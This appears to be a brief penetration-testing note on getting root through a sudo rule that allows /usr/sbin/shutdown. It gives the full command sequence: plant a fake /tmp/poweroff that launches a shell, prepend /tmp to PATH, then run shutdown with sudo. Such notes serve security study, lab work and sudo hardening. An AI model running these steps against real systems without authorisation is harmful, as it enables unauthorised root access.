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Sudo Shutdown, Poweroff Privilege Escalation

Sudo shutdown command might be vulnerable to privilege escalation (PrivEsc).

Investigation

sudo -l

(ALL) NOPASS: /usr/sbin/shutdown
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If we can execute "shutdown" command as root, we can gain access to privileges by overwriting the path of "poweroff".

Exploitation

First create /tmp/poweroff binary which invoke a shell.

echo /bin/sh > /tmp/poweroff
# or
echo /bin/bash > /tmp/poweroff
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Then change permissions of the file and add "/tmp" folder to PATH.

chmod +x /tmp/poweroff
export PATH=/tmp:$PATH
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Now execute "shutdown" as root.

# Some SUID command
sudo /usr/sbin/shutdown

# Then you are root user
root>
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/tmp/poweroff is executed and spawn a root shell.

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